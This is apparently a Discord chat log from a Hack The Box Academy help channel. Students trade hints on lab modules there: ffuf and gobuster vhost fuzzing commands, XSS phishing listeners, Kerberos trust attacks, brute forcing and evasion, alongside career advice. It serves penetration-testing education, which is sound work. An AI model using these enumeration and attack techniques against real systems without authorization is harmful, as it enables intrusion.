ahh shoot it was some error with my hydra thingy idk what happened when I routed my hydra requests through burp proxy it worked
where can I find the password for the zip file in Documentation & Reporting?
and why is it even protected with a password lol
pretty sure it's in the module
ok but where? I tried to search but couldn't find it.
I'm still not finished with the module so I might find it along the way but I just want to take a look.
Did you pick the right project type? .net project vs .net framework project?
it's on the intro page
Thank you.
Yeah, As shown in the picture I sent, I copied the command in the log and run, I received the alpha shell, but it seems the bot doesn't execute my command or is there something blocking it?
What module is this related 2?
Skills Assessment II Introduction to Windows Evasion Techniques also encountered the same situation
User4 has a lot of files and folders in their Documents folder. The flag can be found within one of them
Friends, he has more than a thousand flag.txt files, how can I filter out the ones with content?
What happens when you write text to a file? What exactly changes?
I used find to query the flag file and found more than a thousand flags. I donβt know how to determine which file is correct. I wonβt post pictures, sorry.
Yo
Yooooo@plush hazel
Problem solved, thank you for your reply
Hi brother, did you find the answer and can u give me hint? plz
Module: Intro to C2 Operations with Sliver
Section: Skills Assessment
For the last question, I have tried both the Abuse KRBTGT attack and the TrustKey attack but for both of them, when I try to access the 2nd domain I get a "Access Denied" followed by a "Does not exist" error. Any advice?
CROSS-SITE SCRIPTING(XSS) -Phising. Could someone tell me what I'm doing wrong ? for some reasons
I can't listen to the port 80 ?
Choose a different port
Any other port and specify it in your xss payload
I see
Will try that
it worked thx
I didn't get wym at first, sorry I'm slow it's 6am rn
yes, the trick is to use cmd.exe over powershell
What user account on the Domain Controller has many Event ID (4625) logon failures generated in rapid succession, which is indicative of a password brute forcing attack? The flag is the name of the user account.
what should i do
What module are you referring to?
I don't know what to say.
Information security basics
windows
skills assessment
Question 10
Brute-force vhosts on the target system. What is the full subdomain that is prefixed with "web"? Answer using the full domain, e.g. "x.inlanefreight.htb" on the inf gathering web edition i have performed the following scan gobuster vhost -u http://inlanefreight.htb:58757 -w ~/Desktop/wordlists/subdirectories-discover/top1mparams.txt -t 100 --append-domain but i only see some of the vhosts that ar being asked for ````
Found: admin.inlanefreight.htb:58757 Status: 200 [Size: 100]
Found: blog.inlanefreight.htb:58757 Status: 200 [Size: 98]
Found: forum.inlanefreight.htb:58757 Status: 200 [Size: 100]
Found: support.inlanefreight.htb:58757 Status: 200 [Size: 104]
Found: browse.inlanefreight.htb:58757 Status: 200 [Size: 102]
Found: Blog.inlanefreight.htb:58757 Status: 200 [Size: 98]
Found: Admin.inlanefreight.htb:58757 Status: 200 [Size: 100]
am i missing something from the course material on how to enum them
Hey guys! I'm new to htb and as a teenager I don't know from where to start.. I started with the information security foundation path and am halfway into the path.. I have been astonished by ethical hacking when I was young but still don't know my passion lol.. I know basic things nothing else really.. along with htb I'm also taking a 5 hr ethical hacking crash course available on yt and am also looking into learning python
try another wordlist
look through seclist
for the modules, the ones that they specify in the cheatsheets usually work
i have used it
as someone who tried both HTB and THM, I'd say start with THM as they tend to be more beginner friendly.
once you have solid foundation, switch to HTB.
you can DM so I can tell you from which module to start and where to go.
Thank you so much,appreciate it!
I thought people were ignoring me since I was dumb? Lol
no one is ignoring, when someone can help here they will.
the paths in academy are beginner friendly
I did till learning progress of the information security foundation path
I don't agree tbh.
especially that academy modules tend to be a mouthful of reading.
True,I only catch up when I read them some times
Sorry,guess I have to go to general
help
I can't find the flag. Can anyone give me some hints?
What user account on the Domain Controller has many Event ID (4625) logon failures generated in rapid succession, which is indicative of a password brute forcing attack? The flag is the name of the user account.
nvm my grep was falsely done i found them
they are pretty well explained
in my opinion
try using ffuf instead of gobuster
It's the best for subdomain fuzzing in my opinion
ok, isnt ffuf good for everythong though
just not the best
I use it with subdomains for the other stuff I use feroxbuster or dirbuster
Guys I'm having a problem...
While entering general,discord asks me if I'm done reading and takes me to modules.. even though I open it and go back to general,the same things pops up again
Sorry I'm asking this here
But I can't open generals
you need to verify
How?
read #welcome
what does the message say? maybe it has the steps to verify
Oh..
Hi guys, is there anyone who can access the skill assessment machine on the module (MSSQL, Exchange, and SCCM Attacks)?
I can't access the RDP since 3 hours ago, I think it's under maintenance or something?
spoiler and wrong channel (ask in boxes)
Sorry, im new to the dc. Wont happen again!
guys has anyone installed finalrecon recently
i cant seem, to get it running
and the worst is i tried following the docs for installingit using the git repo
and the .py file is not even there
Yes I installed recently
I had no issues installing on parrot
anyone done this Attacking Wi-Fi Protected Setup - Skills Assessment?
Merry Christmas all
Someone can help me with this please? i can't find the flag π¦
Help with what?
If you can't find the flag, skill issue /s
Might be best to just view the page itself instead of via burp, then ctrl+f for /root or typical root filesystem stuff
Wow okay, Iβll give that a shot. Thatβs super weird. I ended up looking up the hash of the file on virustotal lol. Thanks for the response!
Also: quotes are* important
hey @uneven dune Can you check dm?
thank you brother you saved my life π @fathom pendant
Also once you inject the User Agent you don't need to keep resending it
Which is why it's recommended to visit the page in a browser instead of via burp
So you're not having dozens of different things running the command
Lol this happened to me on one of the boxes I did XD
how can i unlock HTBP CPTS ?
By paying for the course
Either silver annual [comes with voucher and access to t2 and below modules] or one month plat, one month gold + voucher
#welcome <-- instructions
the examen is very difficult?
It's tough but fair
exam sorry xD
It wouldn't be worth it if it was easy
i would like work of this π but i don't have knowledge
Well you need to complete the required path to be able to take the exam anyway
But the exam doesn't deviate from techniques you learned
what do you recommend?
Huh?
Silver annual is good if you want a walkthrough for when you get stuck, or as a reference to see if something could have been done differently
Then you aren't learning
Notes can help you get unstuck
Run into error? Note it down and what you did to resolve
Yeah generally the solution is "use PwnBox" π
do you recommend me to do a bootcamp?
Seasons Greetings all you far-too dedicated hackers... and regular greetings to those of you for whom this is just another day.
Command Injection's assessment was cool, but boy I felt like I was just smacking away at it for far too long until something worked. Is that largely what hacking is?
Yes and no. If you start from a black box perspective and therefore dont know whatβs happening on the machine you are trying to hack you have to try out a few things to see how the service reacts and to discover if there are vulnerabilities. But you are not completely guessing, you have an idea of what could be misconfigured and you try for example common bypasses
So you want to be doing educated guesses eventually
Yeah but you can't run to pwnbox for stuff outside of htb
?
not very hollywood
j/k, good to know my guesses were educated enough
Tech bootcamps are mostly scams
You don't really learn much because of how fast paced the environment tends to be
then? what do you recommend me?
HTB academy is good stuff without a time pressure
And well priced
do you think that could i get a job with this?
Certs don't guarantee jobs, but they can give you a leverage of knowledge and skill
then? π¦
Skills land jobs
Making yourself stand out
With tech layoffs, companies can find someone with a cert a dime a dozen, so you have to stand out more
you give me a lot of encouragement π¦ xD
cybersecurity isn't necessarily an entry level thing, especially pentesting Β―_(γ)_/Β―
Entry level pentesting is like mid-level IT
oh my good
@plush venture also include the module name and section you're on
ffuf -w subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:50801/ -H 'Host: FUZZ.academy.htb' -fs 900 -v
module: attacking web application ffuf
section: filtering results
Try a bigger wordlist
What type of analysis can be used to predict future probabilities? Help please
but the thing is, its atleast supposed to take 2-3 seconds even if my computer has some sorta alien in it which is helping it to send 5000 req instantly which im sure my computer is incapable of
What academy module is this for, it's likely im the reading
If you're computer is incapable of it. It wouldn't try
Penetration Testing Process
The section should tell you the answer
thats why im confused it is collecting garbage or smth like that?
Try a different wordlist
okay
Wait
okay
Do you have academy.htb in your hosts file?
oh...
And is it ip academy.htb [note you don't put the port]
i forgot....
π
am i supposed to keep the port of remove it?
.
oh, i thought it was intended for smth else
Who else would I be talking to. Besides a wall
but cant i just use the ip in ffuf directly?
though it wasn't working
but why not?
I mean, since you're using the "HOST:
.." header
i removed it and tried with ip once
In your http request you use the port
but it was still the same
ffuf -w subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.academy.htb:50801/ -fs 900 -v
Nope
You still use the host header
Also are you sure 900 is the right filter size
it wasnt working if i replaced the academy.htb with ip too and why do i need header?
yes
are you work of this friend?
Because of how things are configured
okay...
If it was a public website a dns server would handle the http://FUZZ.Example.com requests, but since these targets use vhosts you'll need to use host headers, as host header tells the server that you want to request a specific resource on it
Vhosts sit within the webroot of a server
Not all vhosts are exposed via dns irl either
/var/www/html/<vhost>/ and whatever web service is configured to handle those requests and pull the right resources
For my clients, the test environments are not in their dns but just in vhosts
arent vhosts just subdomains but not present in public dns servers?
@fathom pendant
it depends
huh?
Vhosts can be publicly routed
nah it alright
βhow so? isn't it necessary to have the ip of the domain in order to access the host under it?β
This was what you wrote
yes
Youβll need the IP of the server, yes. But you can put the (sub)domain in your hosts file and when sending a request, it will tell the (sub)domain youβre looking for in the headers. Thatβs why ffuf vhost enumeration works via the -H "Host: FUZZ.domain.tldβ
wdym by putting it in the hosts file?
/etc/hosts contains entries to map certain IPs to a hostname
The computer file hosts is an operating system file that maps hostnames to IP addresses. It is a plain text file. Originally a file named HOSTS.TXT was manually maintained and made available via file sharing by Stanford Research Institute for the ARPANET membership, containing the hostnames and address of hosts as contributed for inclusion by me...
You could call it your personal DNS "phone" book
oh i thought you were talking bout files in the server
Your system checks your hosts file -> public dns
i misread it
yes
If not in hosts it checks public dns servers to see if it's routed
but why couldn't i simply use the ip in place of the url in the command?
You can
That should work
Just donβt forget the header, the host needs to be sent. If you donβt send it, the server wonβt know what vhost to serve
wait whats the use of header in here?
The header will contain the Host you are requesting
oh
but isnt that automatically determined by the domain i provide in url?
shit nvm, i need to learn about web stuff a little more
Only the domain is, not necessarily the header
then do i don't do bootcamp?
Don't do bootcamps
As i said, they are mostly scams
Fast paced shit prep
Hey, I know that this is not the right place to post thi, but I need a little help with redeeming a gift card in the academy. When i try to redeem it it says that sth went wrong and that i should contact the support. I can't seem to find how to contact them on the site so i decided to post here. I think what my issue is but, for this i would also need help from support.
Need some help? Learn how to reach the support team on Academy.
Appreciate
Hi, i am stuck in the last assessment question of WPS module. Tried everything including generating list of keys and bruteforcing with bash script. Everything seems to fail. Any help will be appreciated
i'm going to dinner Merry Christmas all
Enjoy. Merry Christmas
They tell you why
Escaping tags
It's told in the section why
The HTB walkthroughs don't explain much of anything because they expect you to have read the material
Look for a common thread to filter out
Like response size
how do i find the one required parameter
how will i know the size?
It's not gonna be the same as the examples
Ffuf literally tells you the size as part of the result
You don't need to review all the results
-fs ?
i thought it gave the ones i needed π
now i know its filtering out π
ok now it makes sense
Reading the manual explains how it works
yes ill keep that in mind π₯²
The -f[X] options are options to filter out; the -m[X] options are to match
More often than not you're filtering out junk
Can anyone help with the evasion module? I have no experience in csharp and windows api so I literally have no idea why it doesnt work
Im in Dynamic Section
okay idk how but ig i need help with the solution
i cant think of any other possible way
i tried all the possible filters with all the existing file under this domain
Why are you using 500 threads??
ffuf does stand for Fuzz Faster U Fool
idk im just frustrated af, i've been trying to get past this for the past 2 hrs
Are you filtering the common occurrence?
yes
Are u sure thatβs the right parameter?
